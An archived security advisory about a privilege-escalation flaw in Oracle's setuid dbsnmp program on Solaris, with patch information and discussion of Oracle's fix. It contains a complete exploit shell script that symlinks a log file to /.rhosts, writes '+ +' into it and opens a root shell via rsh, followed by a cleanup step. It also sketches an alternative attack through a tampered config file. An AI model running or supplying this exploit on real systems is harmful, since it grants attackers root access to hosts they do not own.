TUCoPS :: Unix :: General :: oracle09.htm

Vulnerability
 Oracle
Affected
 Oracle 7.3.4, 8.0.5, 8.1.5 (UNIX)
Description
 Brock Tellier found following. Testing was done with Oracle 8.1.5
 on Solaris 2.6 SPARC edition. This shouldn't make any difference.
 When run without ORACLE_HOME being set, dbsnmp (suid root/sgid
 dba by default) will dump two log files out into pwd, dbsnmpc and
 dbsnmpt. If these files do not exist, dbsnmpd will attempt to
 create them mode 666 and dump around 400 bytes of uncontrolable
 output into them. If the files do exist, dbsnmp will append
 these 400 bytes but not change the permissions. Thus if root
 does not have an .rhosts file, we can obtain root privs by
 creating a symlink from /tmp/dbsnmpc to /.rhosts. One thing to
 note about the exploit is that on my particular implementation, a
 normal user does not have read access above /product/ in the
 Oracle path (something like
 /u01/app/oracle/product/8.1.5/bin/dbsnmp). This won't prevent
 you from running the exploit since the execute bit is set for
 world on all of Oracle's directories, but you may have to guess
 about the location of dbsnmp. This can usually done by examining
 the process list for Oracle entries.
 Exploit:
 oracle8% uname -a; id
 SunOS oracle8 5.6 Generic_105181-05 sun4u sparc
 SUNW,Ultra-5_10
 uid=102(btellier) gid=10(staff)
 oracle8% /tmp/oracle.sh
 couldn't read file "/config/nmiconf.tcl": no such file or directory
 Failed to initialize nl component,error=462
 Failed to initialize nl component,error=462
 #
 --- oracle.sh ---
 #!/bin/sh
 # Exploit for Oracle 8.1.5 on Solaris 2.6 and probably others
 # You'll probably have to change your path to dbsnmp
 # Exploit will only work if /.rhosts does NOT exist
 #
 # Brock Tellier btellier@usa.net
 cd /tmp
 unset ORACLE_HOME
 umask 0000
 ln -s /.rhosts /tmp/dbsnmpc.log
 /u01/app/oracle/product/8.1.5/bin/dbsnmp
 echo "+ +"> /.rhosts
 rsh -l root localhost 'sh -i'
 rsh -l root localhost rm /tmp/*log*
 rsh -l root localhost rm /.rhosts
 ------
 This has been confirmed for Oracle 7.3.4. and 8.0.5 on Solaris 2.6
 SPARC too. The vulnerability discovered by Brook Tellier is
 actually the same as
 http://oliver.efri.hr/~crv/security/bugs/Others/oracle6.html
 The basic vulnerability is that the suid program dbsnmp trust the
 environment variable ORACLE_HOME. Gilles describes a way to
 exploit this by making the vulnerable program execute his own
 version of the nmiconf.tcl file. Brook describes a way to
 exploit the problem by making the vulnerable program create files
 in the system via symlinks.
 According to Jared Still there is a much easier way to exploit
 dbsnmp than this. Simply edit the file
 $ORACLE_HOME/network/agent/config/nmiconf.tcl, which is executed
 when dbsnmp starts up.
Solution
 Oracle has published fixed for the original problem. They can be
 found at:
 http://technet.oracle.com/misc/agent/section.htm
 They also have a FAQ on the issue at:
 http://technet.oracle.com/misc/agent/faq.htm
 The Oracle patch changed dbsnmp so that other had no permissions.
 If you set your group to Oracle and ran it without ORACLE_HOME
 set, it will create the log files in the current dir (/tmp), but
 it won't follow the symlink to /.rhosts and create that.
 However, Intelligent Agent 8.1.5 (the version Brock reported on)
 does not have a patch available for it. This is pretty strange
 considering that there's a patch for 8.0.5 and that other 8.0.6
 and 8.1.x releases don't have the vulnerability. According to
 http://technet.oracle.com/misc/agent/faq.htm
 the procedure for dealing with 8.1.5 is to 1) install Intellegent
 Agent 8.0.5, 2) apply the 8.0.5 patch, and 3) shutdown 8.1.5 and
 start 8.0.5 instead.
 SUPPORTED CUSTOMERS:
 The alert and 5 patches are posted on metalink:
 - URL: http://metalink.oracle.com/
 UNSUPPORTED CUSTOMERS:
 The alert and 5 patches are posted on OTN:
 - URL: http://technet.oracle.com/
 NOTE!!!: Brock Tellier added following. After talking to the
 people in Oracle's security group, one should realized that it is
 impossible to get an answer regarding what programs in particular
 are still setuid-anything/setgid-anything in the latest versions
 of Oracle with all the supported patches installed. When Brock
 took a look at the Oracle-provided remove-suid-bits-script, he
 noticed:
 EXECS_NOT_TO_UNSET="oracle dbsnmp"
 Which makes it so that his exploit (for dbsnmp) and all others
 involving dbsnmp will still work. What do the newer patches do
 to prevent the problems of old? From what one could read on the
 Oracle support page, the "oracle" program MUST be setuid-oracle
 if it is in a multi-user environment, and doesn't that have just
 as many file-access problems as dbsnmp?
 Martin Wunderli added that if you connect through sqlnet (that
 is: a listener running as oracle which starts the oracle binary),
 no sgid/suid needs to be set. But if you then try to connect
 directly by issueing sqlplus username/password, it will fail with
 'Oracle not available'. The latter is mostly not really a problem.